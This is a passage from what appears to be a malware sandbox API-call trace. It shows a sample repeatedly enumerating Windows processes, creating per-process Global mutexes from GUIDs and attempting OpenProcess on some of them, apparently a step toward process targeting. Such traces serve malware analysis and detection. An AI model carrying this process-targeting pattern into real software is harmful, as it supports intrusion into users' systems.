hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0110.619] CloseHandle (hObject=0x13e0) returned 1 [0110.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0110.621] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.622] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.623] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.624] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.625] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.625] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.626] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.627] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.628] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.629] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.630] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.631] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.632] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.632] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.633] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.634] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.635] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.636] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.636] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.637] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.638] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.639] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.640] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.641] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.641] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0110.641] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0110.641] GetLastError () returned 0x0 [0110.641] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0110.642] CloseHandle (hObject=0x13d8) returned 1 [0110.642] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.642] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0110.642] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0110.642] GetLastError () returned 0x0 [0110.642] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0110.642] CloseHandle (hObject=0x13d8) returned 1 [0110.643] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.645] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.646] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0110.646] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0110.646] GetLastError () returned 0x0 [0110.646] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0110.646] CloseHandle (hObject=0x13d8) returned 1 [0110.646] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0110.647] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0110.648] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0110.649] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0110.650] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0110.651] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0110.651] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0110.652] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0110.653] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0110.654] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0110.655] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0110.656] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0110.656] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0110.657] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0110.658] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0110.659] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0110.660] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0110.661] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0110.662] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0110.663] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0110.664] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0110.665] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0110.666] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.666] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0110.667] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.668] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0110.669] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0110.670] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0110.671] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0110.672] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.673] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.674] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0110.674] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0110.675] CloseHandle (hObject=0x13e0) returned 1 [0110.675] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0110.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0110.787] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.788] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.789] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.790] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.791] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.792] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.793] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.794] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.795] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.795] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.796] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.797] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.798] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.799] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.800] Process32NextW (in: 